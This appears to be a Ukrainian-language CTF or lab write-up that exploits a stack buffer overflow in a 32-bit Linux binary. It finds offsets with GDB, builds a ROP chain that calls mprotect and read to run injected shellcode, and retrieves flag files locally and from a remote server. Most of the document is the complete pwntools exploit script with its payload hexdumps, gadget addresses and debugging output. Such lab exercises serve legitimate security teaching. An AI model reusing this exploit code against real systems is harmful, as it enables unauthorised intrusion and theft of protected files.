

Все робиться в WSL 2 у Windows 10 x64. Дистрибутив Ubuntu 22.04:

\$ lsb_release -a

```
sam@ws12pc:/mnt/c/Users/lol19/Desktop/mkr1$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.4 LTS
Release:       22.04
Codename:      jammy
sam@ws12pc:/mnt/c/Users/lol19/Desktop/mkr1$
```

Аналіз програми

Визначимо формат та розрядність файлу **10123_SHEVCHENKO_Semen** в Cutter:

Info			
File:	C:\Users\lol19\Desktop\10123_SHEVCHENKO_Semen	FD:	3
Format:	elf	Base addr:	0x08048000
Bits:	32	Virtual addr:	True
Class:	ELF32	Canary:	False
Mode:	r-x	Crypto:	False
Size:	638 kB	NX bit:	True
Type:	EXEC (Executable file)	PIC:	False
Language:	c	Static:	True
		Relro:	N/A
Architecture:	x86		
Machine:	Intel 80386		
OS:	linux		
Subsystem:	linux		
Stripped:	True		
Relocs:	False		
Endianness:	LE		
Compiled:	N/A		
Compiler:	GCC: (Ubuntu 9.4.0-1ubuntu1~20.04		

Запустимо програму і побачимо рядок "Knock, knock, Neo." та очікування вводу:

\$./10123_SHEVCHENKO_Semen

```
sam@ws12pc:/mnt/c/Users/lol19/Desktop/mkr1$ ./10123_SHEVCHENKO_Semen
Knock, knock, Neo.
```

Гаджети шукаємо в Cutter: "pop eax; ret" 0x80b0e4a

pop eax

Dashboard

Strings

Search

Disassembly

Hexdump

Decompiler (entry0)

Graph(fcn.08071920)

Imports

Callgraph

Search

Search for:

ROP gadgets

0x080aaeb2	0x5	pop eax; pop ebx; pop esi; pop edi; ret;
0x080b0e47	0x5	add al, 0x8b; inc eax; pop eax; ret;
0x080585b6	0x6	add byte [eax], al; pop eax; pop edx; pop ebx; ret;

0x080b0e4a

pop

eax

0x080b0e4b

ret

Дизасемблюємо **10123_SHEVCHENKO_Semen** в IDA та знайдемо цей рядок:

```
• .text:08049EA0      lea     eax, (aKnockKnockNeo - 80E6000h)[ebx] ; "Knock, knock, Neo."
• .text:08049EA6      push    eax
• .text:08049EA7      call   sub_8051E80
• .text:08049EAC      add     esp, 10h
• .text:08049EAF      sub     esp, 0Ch
• .text:08049EB2      lea     eax, [ebp+var_1396]
• .text:08049EB8      push    eax
• .text:08049EB9      call   sub_8051CB0
• .text:08049EBE      add     esp, 10h
• .text:08049EC1      mov     eax, [ebp+var_FB0]
• .text:08049EC7      cmp     eax, 539h
• .text:08049ECC      jz      short loc_8049ED8
• .text:08049ECE      sub     esp, 0Ch
• .text:08049ED1      push    1 ; status
• .text:08049ED3      call   sub_8050840
• .text:08049ED8      ; -----
• .text:08049ED8      loc_8049ED8: ; CODE XREF: sub_8049DF5+D7↑j
• .text:08049ED8      sub     esp, 0Ch
• .text:08049EDB      lea     eax, (aAccessGranted - 80E6000h)[ebx] ; "ACCESS GRANTED!"
• .text:08049EE1      push    eax
• .text:08049EE2      call   sub_8051E80
• .text:08049EE7      add     esp, 10h
• .text:08049EEA      mov     eax, 0
• .text:08049EEF      lea     esp, [ebp-10h]
• .text:08049EF2      pop     ecx
• .text:08049EF3      pop     ebx
• .text:08049EF4      pop     esi
```

Бачимо структуру ф. main():

- 1) Вивід рядка "Knock, knock, Neo."
- 2) Зчитування вводу
- 3) Порівняння "cmp eax, 0x539" 0x8049ec7
- 4) esp = ebp-16 0x8049eef
- 5) Відновлення регістру ecx зі стеку 0x8049ef2
- 6) Відновлення регістру ebx зі стеку 0x8049ef3

Тепер можемо поставити брейкпоінти на цих адресах:

- br *0x8049ec7
- br *0x8049eef
- br *0x8049ef2
- br *0x8049ef3

```
breaks32.gdb – Блокнот
Файл  Правка  Формат  Вид  Справка
br *0x8049ec7
br *0x8049eef
br *0x8049ef2
br *0x8049ef3
```

Продебажимо в GDB, записавши послідовність де Брейна в STDIN:

```
# RUN PROCESS
buf = cyclic(6000)
p = run_locally(payload = False, debug = True)
```

Запустимо експлойт:

```
$ python3 pwn_32.py
```

Перший брейкпоінт. Бачимо, що `eax = "ajza"`

```
Breakpoint 1, 0x08049ec7 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]

registers
$eax : 0x617a6a61 ("ajza"? ) ←
$ebx : 0x080e6000 → add BYTE PTR [eax], al
$ecx : 0x080e6300 → mov esp, DWORD PTR [eax]
$edx : 0xffbdd9f2 → 0x00000000
$esp : 0xffbdc280 → 0x61610000
$ebp : 0xffbdc618 → "eabyfabygabyhabyiabyjabykabylyabymabynabyoabyypabyqa[...]"
$esi : 0x0
$edi : 0xffbdc668 → "ajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaak[...]"
$eip : 0x08049ec7 → cmp eax, 0x539
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63

stack
0xffbdc280|+0x0000: 0x61610000 ← $esp
0xffbdc284|+0x0004: "aabaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaamaaaa[...]"
0xffbdc288|+0x0008: "aacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaamaaaaanaaa[...]"
0xffbdc28c|+0x000c: "aadaaaeaaafaaagaaahaaaiaaaajaaakaaalaamaaaaanaaoaaa[...]"
0xffbdc290|+0x0010: "aaeaaafaaagaaahaaaiaaaajaaakaaalaamaaaaanaaoaaapaaa[...]"
0xffbdc294|+0x0014: "aafaaagaaahaaaiaaaajaaakaaalaamaaaaanaaoaaapaaaqaaa[...]"
0xffbdc298|+0x0018: "aagaaahaaaiaaaajaaakaaalaamaaaaanaaoaaapaaaqaaaraaa[...]"
0xffbdc29c|+0x001c: "aahaaaiaaaajaaakaaalaamaaaaanaaoaaapaaaqaaaraasaaa[...]"

code:x86:32
0x8049eb9      call    0x8051cb0
0x8049ebe      add     esp, 0x10
0x8049ec1      mov     eax, DWORD PTR [ebp-0xfb0]
→ 0x8049ec7      cmp     eax, 0x539
0x8049ecc      je      0x8049ed8
0x8049ece      sub     esp, 0xc
0x8049ed1      push    0x1
0x8049ed3      call    0x8050840
0x8049ed8      sub     esp, 0xc

threads
[#0] Id 1, Name: "10123_SHEVCHENK", stopped 0x8049ec7 in ?? (), reason: BREAKPOINT

trace
[#0] 0x8049ec7 → cmp eax, 0x539

gef➤
```

Знайдемо позицію байтів "ajza" в послідовності:

```
print(cyclic_find("ajza"))
```

```
-----
998
```

Отже, 998 – розмір буфера, який треба переповнити. Саме після 998 довільних байтів, повинне йти значення 1337, щоб задовільнити умову "cmp eax, 0x539".

Змінюємо значення `eax` на 1337 і продовжуємо виконання:

```
gef> set $eax=1337
```

```
gef> c
```

```
gef> c
```

```
gef> c
```

Четвертий брейкпоінт. Бачимо, що `ecx` = "zabt"

```
Breakpoint 4, 0x08049ef3 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]

----- registers -----
$eax : 0x0
$ebx : 0x080e6000 → add BYTE PTR [eax], al
$ecx : 0x7962617a ("zaby"? ) ←
$edx : 0xffffffff
$esp : 0xffbdc60c → "babycabydabyeabyfabygabyhabyiabyjabykabylabymabyna[...]"
$ebp : 0xffbdc618 → "eabyfabygabyhabyiabyjabykabylabymabynabyoabyrabyqa[...]"
$esi : 0x0
$edi : 0xffbdc668 → "ajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaak[...]"
$eip : 0x08049ef3 → pop ebx
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63

----- stack -----
0xffbdc60c|+0x0000: "babycabydabyeabyfabygabyhabyiabyjabykabylabymabyna[...]" ← $esp
0xffbdc610|+0x0004: "cabydabyeabyfabygabyhabyiabyjabykabylabymabynabyoa[...]"
0xffbdc614|+0x0008: "dabyeabyfabygabyhabyiabyjabykabylabymabynabyoabyra[...]"
0xffbdc618|+0x000c: "eabyfabygabyhabyiabyjabykabylabymabynabyoabyrabyqa[...]" ← $ebp
0xffbdc61c|+0x0010: "fabygabyhabyiabyjabykabylabymabynabyoabyrabyqabyra[...]"
0xffbdc620|+0x0014: "gabyhabyiabyjabykabylabymabynabyoabyrabyqabyrabyra[...]"
0xffbdc624|+0x0018: "habyiabyjabykabylabymabynabyoabyrabyqabyrabyrabyta[...]"
0xffbdc628|+0x001c: "iabyjabykabylabymabynabyoabyrabyqabyrabyrabytabyua[...]"

----- code:x86:32 -----
0x8049eea      mov     eax, 0x0
0x8049eef      lea     esp, [ebp-0x10]
0x8049ef2      pop     ecx
0x8049ef3      pop     ebx ←
0x8049ef4      pop     esi
0x8049ef5      pop     edi
0x8049ef6      pop     ebp
0x8049ef7      lea     esp, [ecx-0x4]
0x8049efa      ret

----- threads -----
[#0] Id 1, Name: "10123_SHEVCHENK", stopped 0x8049ef3 in ?? (), reason: BREAKPOINT

----- trace -----
[#0] 0x8049ef3 → pop ebx

gef>
```

Знайдемо позицію байтів "zaby" в послідовності:

```
print(cyclic_find("zaby"))
```

```
-----
4998
```

Саме після 4998 байтів повинна йти адреса ROP ланцюжка.

Щоб дізнатися, яку саме адресу ми повинні використати, продебажимо ще раз. Тільки замість послідовності де Брейна, переповнимо буфер з використанням ROP ланцюжка:

```
# Buffer overflow (with ret chain)
buf = b"A" * 998 # eax before "cmp eax, 0x539"
buf += p32(1337)
buf += ret * 200 # Ret chain

ROP_CHAIN
...
ROP_CHAIN

buf += p32(rwx_addr) # Jump to shellcode
buf = buf.ljust(4998, b"B") # ecx after "pop ecx"
buf += p32(0xdddddddd)
find_bad_bytes(buf)

# RUN PROCESS
# buf = cyclic(5000)
p = run_locally(payload = True, debug = True)
```

Запустимо експлойт:

```
$ python3 pwn_32.py
```

Дійдемо до 2 брейкпоінта і виведемо стек:

```
gef➤ x/6000wx $esp
```

0xffffce10:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffce20:	0x41414141	0x41414141	0x00000539	0x08071912
0xffffce30:	0x08071912	0x08071912	0x08071912	0x08071912
0xffffce40:	0x08071912	0x08071912	0x08071912	0x08071912
0xffffce50:	0x08071912	0x08071912	0x08071912	0x08071912

За адресою 0xffffce30 в стеку бачимо ланцюжок гаджетів "ret". Можна обрати будь-яку адресу з середини цього ланцюжка – я обрав 0xffffcf00:

0xffffcee0:	0x08071912	0x08071912	0x08071912	0x08071912
0xffffcef0:	0x08071912	0x08071912	0x08071912	0x08071912
0xffffcf00:	0x08071912	0x08071912	0x08071912	0x08071912
0xffffcf10:	0x08071912	0x08071912	0x08071912	0x08071912
0xffffcf20:	0x08071912	0x08071912	0x08071912	0x08071912
0xffffcf30:	0x08071912	0x08071912	0x08071912	0x08071912

Отже, змінимо адресу з тестової 0xdddddddd на справжню 0xffffcf00. Тепер запустимо експлойт без дебагера та спробуємо вивести локальний файл **secret.txt**:

```
file_secret = "secret.txt"

...

buf += p32(0xffffcf00) # Address of the ret chain in the stack
p = run_locally(payload = True, debug = False)
```

```
$ python3 pwn_32.py
```

```
[+] Receiving all data: Done (20B)
[*] Process '/mnt/c/Users/lol19/Desktop/mkr1/10123_SHEVCHENKO_Semen' stopped with exit code 22 (pid 24073)
[+] FLAG = hvost{lolkek}bobra
sam@ws12pc:/mnt/c/Users/lol19/Desktop/mkr1$
```

Віддалена ROP-атака:

Підключимось до сервера:

```
$ nc 204.10.19.230 10123
```

```
sam@ws12pc:/mnt/c/Users/lol19/Desktop/mkr1$ nc 204.10.19.230 10123
Knock, knock, Neo.
```

```
$ python3 pwn_32.py
```

```
sam@ws12pc:/mnt/c/Users/lol19/Desktop/mkr1$ python3 pwn_32.py
[*] '/mnt/c/Users/lol19/Desktop/mkr1/10123_SHEVCHENKO_Semen'
  Arch:      i386-32-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x8048000)
[+] Opening connection to 204.10.19.230 on port 10123: Done
[*] == buffer
00000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|
*
000003e0  41 41 41 41 41 41 39 05 00 00 12 19 07 08 12 19 |AAAA|AA9·|····|····|
000003f0  07 08 12 19 07 08 12 19 07 08 12 19 07 08 12 19 |····|····|····|····|
*
00000700  07 08 12 19 07 08 12 19 07 08 b9 85 05 08 07 00 |····|····|····|····|
00000710  00 00 00 00 00 00 4a 0e 0b 08 00 10 00 00 98 3e |····|·J·|····|··>|
00000720  09 08 3b 5a 06 08 00 80 04 08 4a 0e 0b 08 7d 00 |·;Z|····|·J·|·}|·|
00000730  00 00 10 19 07 08 b9 85 05 08 5b 00 00 00 00 00 |····|····|·[·|····|
00000740  00 00 4a 0e 0b 08 00 80 04 08 98 3e 09 08 3b 5a |·J·|····|··>|·;Z|
00000750  06 08 00 00 00 00 4a 0e 0b 08 03 00 00 00 10 19 |····|·J·|····|····|
00000760  07 08 00 80 04 08 42 42 42 42 42 42 42 42 42 42 |····|·BB|BBBB|BBBB|
00000770  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 |BBBB|BBBB|BBBB|BBBB|
*
00001380  42 42 42 42 42 42 00 cf ff ff |BBBB|BB·|··|
0000138a
[*] Paused (press any to continue)
[*] == shellcode
00000000  6a 74 68 65 63 72 65 68 65 6e 2e 73 68 5f 53 65 |jthe|creh|en.s|h_Se|
00000010  6d 68 45 4e 4b 4f 68 45 56 43 48 68 33 5f 53 48 |mhEN|KOhE|VCHh|3_SH|
00000020  68 31 30 31 32 89 e3 31 c9 6a 05 58 cd 80 6a 01 |h101|2··1|·j·X|·j·|
00000030  5b 89 c1 31 d2 68 ff ff ff 7f 5e 31 c0 b0 bb cd |[··1|·h··|·^1|····|
00000040  80 6a 0b fe 0c 24 6a 04 58 6a 01 5b 89 e1 6a 01 |·j··|·$j·|Xj·[|·j·|
00000050  5a cd 80 6a 16 5b 6a 01 58 cd 80 |Z·j·|·[j·|X·|
0000005b
[+] Receiving all data: Done (22B)
[*] Closed connection to 204.10.19.230 port 10123
[+] FLAG = hvost{XraCoixH}bobra
sam@ws12pc:/mnt/c/Users/lol19/Desktop/mkr1$
```

Флаг: hvost{XraCoixH}bobra

Файл `pwn_32.py`

```
import os
from pwn import *

IP = "204.10.19.230"
PORT = 10123

file_breakpoints = "breaks32.gdb"
# file_secret = "secret.txt"
file_secret = "10123_SHEVCHENKO_Semen.secret"
file_binary = "10123_SHEVCHENKO_Semen"
context.binary = ELF(f"./{file_binary}")

# GADGETS
pop_eax = p32(0x80b0e4a) # pop eax; ret
pop_ebx = p32(0x8065a3b) # pop ebx; ret
mov_ecx_eax__mov_eax_ecx = p32(0x8093e98) # mov ecx, eax; mov eax, ecx; ret
pop_edx__pop_ebx = p32(0x80585b9) # pop edx; pop ebx; ret
syscall = p32(0x8071910) # int 0x80; ret
ret = p32(0x8071912) # ret

def run_locally(payload = False, debug = True):
    context.aslr = not payload # True for cyclic(), False for clean run
    p = process([context.binary.path], env = {})
    pid = util.proc.pidof(p)[0]
    if debug == True:
        gdb = f"gdb -q -p {pid} -x {file_breakpoints}"
        log.debug(f"Gdb uses breakpoints from {file_breakpoints}")
        new_tab = "wt -p 'PowerShell' -d ." # Open new tab in Windows Terminal
        (PowerShell_profile and current_dir)
        wsl = f"wsl -e bash -c '{gdb}\; exec $BASH'"
        cmd = f"cmd.exe /c start {new_tab} {wsl}"
        os.system(cmd)
        util.proc.wait_for_debugger(pid)
    return p

def find_bad_bytes(buf, bad_bytes = None):
    if bad_bytes is None:
        bad_bytes = [
            0xa, # 0xa = 10 = "\n", gets() takes all the chars up to "\n"
        ]
    found = False
    for i, byte in enumerate(buf):
        if byte in bad_bytes:
            log.warn(f"Bad byte '{hex(byte)}' at {i}")
            found = True
    if found:
        print(hexdump(buf, highlight = bad_bytes))
        log.error("Found bad bytes in a buffer!")

# SET REGISTER
def set_eax(value):
    buf = b""
    buf += pop_eax
    buf += p32(value)
    return buf

def set_ebx(value):
    buf = b""
    buf += pop_ebx
    buf += p32(value)
    return buf
```



```

def set_ecx(value): # Use before set_eax()
    buf = b""
    buf += pop_eax
    buf += p32(value)
    buf += mov_ecx_eax__mov_eax_ecx
    return buf

def set_edx(value): # Use before set_ebx()
    buf = b""
    buf += pop_edx__pop_ebx
    buf += p32(value)
    buf += p32(0)
    return buf

# CALL FUNCTION
def sys_mprotect(address, length, protection):
    num_mprotect = 125
    buf = b""

    buf += set_edx(protection)
    buf += set_ecx(length)
    buf += set_ebx(address)

    buf += set_eax(num_mprotect)
    buf += syscall
    return buf

def sys_read(fd, address, length):
    num_read = 3
    buf = b""

    buf += set_edx(length)
    buf += set_ecx(address)
    buf += set_ebx(fd)

    buf += set_eax(num_read)
    buf += syscall
    return buf

def main():
    sc = asm(shellcraft.cat(file_secret) + shellcraft.echo("\n") + shellcraft.exit(22))

    # Buffer overflow (with ret chain)
    buf = b"A" * 998 # eax before "cmp eax, 0x539"
    buf += p32(1337)
    buf += ret * 200 # Ret chain

    # mprotect(): make RWX buffer for shellcode
    rwx_addr = 0x8048000
    rwx_length = 1 * 0x1000 # Should be multiple of 0x1000 = 4096 bytes = 1 RAM page
    rwx_mode = 7 # 7 = read | write | execute = RWX
    buf += sys_mprotect(rwx_addr, rwx_length, rwx_mode)

    # read(): read shellcode from STDIN & write it to RWX buffer
    stdin_fd = 0
    buf += sys_read(stdin_fd, rwx_addr, len(sc))

    buf += p32(rwx_addr) # Jump to shellcode
    buf = buf.ljust(4998, b"B") # ecx after "pop ecx"
    buf += p32(0xffffcf00) # Address of the ret chain in the stack
    # buf += p32(0xdddddddd)

```



```
find_bad_bytes(buf)

# RUN PROCESS
# buf = cyclic(6000)
# p = run_locally(payload = True, debug = False)
p = remote(IP, PORT)

log.info("=== buffer")
print(hexdump(buf))
p.readline()
p.writeline(buf)
p.readuntil(b"GRANTED!")

pause()
log.info("=== shellcode")
print(hexdump(sc))
p.writeline(sc)
flag = p.readall().strip().decode()
log.success(f"FLAG = {flag}")

if __name__ == "__main__":
    main()
```